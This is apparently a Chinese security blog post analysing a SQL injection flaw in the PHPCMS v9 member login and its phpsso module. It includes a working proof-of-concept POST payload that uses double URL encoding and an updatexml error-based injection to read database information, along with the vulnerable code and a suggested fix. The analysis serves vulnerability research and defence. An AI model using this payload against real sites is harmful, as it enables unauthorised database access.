catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述
2. 漏洞触发条件

0x1: POC

http://localhost/phpcms_v9/index.php?m=member&c=index&a=login

dosubmit=&username=phpcms&password=%26username%3d%%2bunion%2bselect%2b%%%252c%2527test%255c%%252cupdatexml(%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%)%252c(%255c%%255c%%252c%255c%2527test%%252c%25275f1d7a84db00d2fce00b31a7fc73224f%%252c%%%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%
//验证时可以手工填写验证码、或者把代码中的验证码验证逻辑临时注释掉

将"&username="进行url编码后作为password的值用于在phpsso中覆盖之前的username值,在"&username="后面添加进行两次url编码的SQL语句

3. 漏洞影响范围
4. 漏洞代码分析

\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php

if(isset($_POST['data']))
{
/*
将getapplist()结果赋值给$_POST['data'],在auth_key解码之后使用parse_str解析成数组格式
这段代码如果在php5.3之前的情况下是没有问题的,因为默认情况下parse_str会启动gpc机制对特殊字符进行转义
但是在php5.3之后gpc机制默认就关闭掉了,这就导致如果解析出来的内容如果带有单引号这类个特殊字符,就原封不动的放到的变量中,这导致了注入的风险
*/
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); if(empty($this->data) || !is_array($this->data)) {
exit('');
}
}
else
{
exit('');
}

继续跟进login行为的代码
\phpsso_server\phpcms\modules\phpsso\index.php

public function login()
{
//$this->data的内容没有经过任何处理就直接参数到数据库查询当中,如果我们有auth_key的话,完全可以构造带有恶意的内容提交造成SQL注入漏洞
$this->password = isset($this->data['password']) ? $this->data['password'] : '';
$this->email = isset($this->data['email']) ? $this->data['email'] : '';
if($this->email) {
$userinfo = $this->db->get_one(array('email'=>$this->email));
} else {
$userinfo = $this->db->get_one(array('username'=>$this->username));
}

要直接利用login逻辑进行SQL注入,需要黑客有auth_key,phpcms auth_key泄漏的漏洞相关知识,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/4624198.html

我们继续讨论黑客没有auth_key的情况,我们继续分析
\phpcms\modules\member\index.php
中的login方法

//username使用的is_username进行了过滤而password没有做任何处理
$username = isset($_POST['username']) && is_username($_POST['username']) ? trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ? trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码 if(pc_base::load_config('system', 'phpsso'))
{
$this->_init_phpsso();
//通过client的ps_member_login方法传入$username、$password获取一段数据
$status = $this->client->ps_member_login($username, $password);
$memberinfo = unserialize($status);

继续跟进ps_member_login
\phpcms\modules\member\classes\client.class.php

    public function ps_member_login($username, $password, $isemail=)
{
if($isemail) {
if(!$this->_is_email($username)) {
return -;
}
$return = $this->_ps_send('login', array('email'=>$username, 'password'=>$password));
} else {
$return = $this->_ps_send('login', array('username'=>$username, 'password'=>$password));
}
return $return;
} /**
* 发送数据
* @param $action 操作
* @param $data 数据
*/
private function _ps_send($action, $data = null)
{
//_ps_post这个方法向phpsso机制的请求login行为,即member的认证本质是通过phpsso来完成的,同时而phpsso的认证数据是需要auth_key编码的
return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, , $this->auth_data($data));
}

攻击向量

. 登录用户提交用户名和密码给menber的login
. 然后member的login通过ps_member_login构造发送phpsso请求login验证的http包,并且将用户名和密码使用auth_key进行编码,作为http包的post数据
. phpsso认证完成后,将用户的信息返回给member的login进行后续处理
. 在整个认证过程中,password没有做任何处理就直接传入phpsso,phpsso没有对于解码数据进行过滤,造成phpsso SQL注入问题

5. 防御方法

针对phpsso模块添加过滤代码,最好的方式应该是将转义和过滤放在数据库操作的前一步,这样可以极有效缓解SQL注入带来的问题
\phpcms\modules\member\index.php

$username = isset($_POST['username']) && is_username($_POST['username']) ? trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
//$password = isset($_POST['password']) && trim($_POST['password']) ? trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
/* 过滤、转义 */
$password = isset($_POST['password']) && trim($_POST['password']) ? addslashes(urldecode(trim($_POST['password']))) : showmessage(L('password_empty'), HTTP_REFERER);
/**/

Relevant Link:

http://www.tang3.org/blog/2015/07/21/PHPCMS用户登陆SQL注入漏洞分析/

6. 攻防思考

Copyright (c) 2015 Little5ann All rights reserved

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析的更多相关文章

  1. PHPCMS V9.6.0 SQL注入漏洞分析

    0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...

  2. 最新phpcms v9.6.0 sql注入漏洞分析

    昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...

  3. phpcms 2008 /preview.php SQL注入漏洞

    漏洞版本: phpcms 2008 漏洞描述: phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台. phpcms 2008的preview ...

  4. PHPCMS 2008 SQL注入漏洞

    漏洞版本: PHPCMS 2008 漏洞描述: escape()方法无法过滤$genre变量进行二次URL编码,导致SQL注入漏洞产生. <* 参考 http://www.yunsec.net/ ...

  5. PHPCMS V9.6.0 SQL注入漏洞EXP

    运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...

  6. Servlet课程0425(七) 到数据库中去验证用户,同时防止SQL注入漏洞

    Login.java //登录界面 package com.tsinghua; import javax.servlet.http.*; import java.io.*; public class ...

  7. PHPCMS v9.6.0 任意文件上传漏洞分析

    引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) 用户 ...

  8. 通过SQL注入获得网站后台用户密码

    通过 SQL 注入攻击,掌握网站的工作机制,认识到 SQL 注入攻击的防范措施,加强对 Web 攻击的防范. 一.实验环境 下载所需代码及软件:获取链接:链接:https://pan.baidu.co ...

  9. PHPCMS \phpsso_server\phpcms\modules\phpsso\index.php、\api\get_menu.php Authkey Leakage

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 安装phpcms的时候会强制安装它的通行证 Relevant Link: ...

随机推荐

  1. IIS中ASP.NET安全配置

    1.禁止web中的DELETE.OPTIONS.PUT.HEAD和TRACE HTTP方法 请求方法是请求一定的Web页面的程序或用于特定的URL.可选用下列几种:GET: 请求指定的页面信息,并返回 ...

  2. Scrapy 爬虫

    Scrapy 爬虫 使用指南 完全教程   scrapy note command 全局命令: startproject :在 project_name 文件夹下创建一个名为 project_name ...

  3. Power of Two

    Given an integer, write a function to determine if it is a power of two. bool isPowerOfTwo(int n) { ...

  4. C语言 memset函数盲点

    #include <stdio.h> #include <stdlib.h> #include <string.h> struct packet { int len ...

  5. C#一元运算重载的深入理解

    using System; using System.Diagnostics; using System.Text; using System.Collections; using System.Co ...

  6. 阿里云安装LNMP以及更改网站文件和MySQL数据目录

    LNMP安装了哪些软件?安装目录在哪LNMP相关软件安装目录Nginx 目录: /usr/local/nginx/MySQL 目录 : /usr/local/mysql/MySQL数据库所在目录:/u ...

  7. Use Dapper ORM With ASP.NET Core

    Dapper.NET is not just another ORM tool, it's considered as the king of ORM. Because it's fast, easy ...

  8. PAT 1067. Sort with Swap(0,*)

    1067. Sort with Swap(0,*) (25)   Given any permutation of the numbers {0, 1, 2,..., N-1}, it is easy ...

  9. QTableView 添加按钮

    这里说一下怎么在QTableView添加一个按钮 添加两个按钮的例子在这篇文章里:QTableView 一列添加两个按钮 效果是点击button弹出一个对话框. 看一下ButtonDelegate的代 ...

  10. CoordinatorLayout自定义Bahavior特效及其源码分析

    @[CoordinatorLayout, Bahavior] CoordinatorLayout是android support design包中可以算是最重要的一个东西,运用它可以做出一些不错的特效 ...